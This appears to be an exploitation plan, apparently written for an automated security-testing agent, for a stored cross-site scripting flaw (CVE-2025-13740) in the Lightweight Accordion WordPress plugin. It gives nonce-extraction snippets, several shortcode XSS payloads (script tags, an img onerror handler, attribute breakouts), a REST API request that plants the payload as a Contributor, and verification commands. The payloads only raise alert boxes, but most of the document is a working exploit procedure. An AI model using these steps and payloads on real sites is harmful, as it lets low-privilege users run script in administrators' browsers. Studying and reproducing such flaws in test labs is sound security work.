Lightweight Accordion <= 1.5.20 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan outlines the technical steps to analyze and exploit CVE-2025-13740, a Stored Cross-Site Scripting (XSS) vulnerability in the Lightweight Accordion plugin for WordPress.

---

1. Vulnerability Summary

• Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting.
• Location: The lightweight-accordion shortcode implementation.
• Cause: The plugin fails to sanitize or escape user-supplied attributes (such as title, class, or header) within the shortcode callback function before rendering them in the HTML output.
• Impact: A user with Contributor-level permissions (the lowest level that can create content) can inject malicious JavaScript. This script executes in the browser context of any user (including Administrators) who views the post or page containing the shortcode.

2. Attack Vector Analysis

• Authentication: Authenticated (Contributor or higher).
• Entry Point: Post/Page editor (via Shortcode).
• Vulnerable Parameter: Shortcode attributes (e.g., title, class, id).
• Preconditions: The plugin "Lightweight Accordion" must be active. The attacker needs credentials for a Contributor account.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in the main plugin file (likely lightweight-accordion.php or an included loader) using add_shortcode( 'lightweight-accordion', 'callback_function_name' ).
2. Processing: When a post is rendered, WordPress calls the callback function, passing an $atts array containing the user-defined attributes.
3. Merge: The callback typically uses shortcode_atts() to merge user input with default values.
4. Sink: The callback constructs an HTML string. The vulnerability exists because it concatenates the raw values from $atts (e.g., $atts['title']) directly into the HTML string or echoes them without using escaping functions like esc_html() or esc_attr().
5. Output: The malicious HTML is returned to the WordPress content filter and displayed on the frontend.

4. Nonce Acquisition Strategy

This vulnerability is authenticated, so we must acquire a standard WordPress session and the necessary nonces for post creation/editing.

1. Authentication: Use the http_request tool to log in as a Contributor.
2. Nonce for Post Creation:
   • Navigate to wp-admin/post-new.php.
   • Use browser_eval to extract the _wpnonce from the form or the REST API nonce from the wpApiSettings object.
   • JS Command: window.wpApiSettings?.nonce or document.querySelector('#_wpnonce')?.value.
3. Editor Context: If using the Gutenberg editor, the nonce is typically passed in the X-WP-Nonce header for REST API requests to /wp/v2/posts.

5. Exploitation Strategy

The goal is to create a post containing a lightweight-accordion shortcode with a payload in its attributes.

Step 1: Identify Vulnerable Attribute
We will test common accordion attributes: title, class, id, header, state.

Step 2: Construct the Payload

• Attribute Breakout (for class or id): "][script]alert(document.domain)[/script]"
• Direct Injection (for title or header): [lightweight-accordion title="<script>alert(1)</script>"]Content[/lightweight-accordion]

Step 3: Execute the HTTP Request
Use the REST API (preferred for modern WordPress) to create a post.

• Endpoint: POST /wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "title": "XSS Test",
  "content": "[lightweight-accordion title='<img src=x onerror=alert(domain)>']Accordion Content[/lightweight-accordion]",
  "status": "pending"
}

Note: Contributors cannot "publish" directly, but "pending" or "draft" posts can be previewed by the contributor or viewed by an admin in the dashboard.

6. Test Data Setup

1. Install Plugin: Ensure lightweight-accordion version <= 1.5.20 is installed and active.
2. Create User: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

• The HTTP request should return 201 Created.
• When the post is viewed (via ?p=[ID] or the preview link), the HTML source should contain the unescaped payload.
• Example Vulnerable Output:
  <span class="lightweight-accordion-title"><img src=x onerror=alert(domain)></span>
• The browser should trigger the alert(domain) box.

8. Verification Steps

1. Database Check: Verify the shortcode is stored correctly in the wp_posts table.
   • wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
2. Frontend Inspection: Fetch the rendered page and check for the lack of escaping.
   • Use http_request (GET) on the post URL and grep for onerror=alert.

9. Alternative Approaches

• Attribute Breakout: If the title is escaped with esc_html() but the class is used in an attribute and escaped with esc_html() (incorrectly) instead of esc_attr(), we can break out of the attribute:
  [lightweight-accordion class='"> <script>alert(1)</script> <"']
• Classic Editor Submission: If the REST API is disabled, use a POST request to wp-admin/post.php with action=editpost and the standard form-encoded data including _wpnonce and content.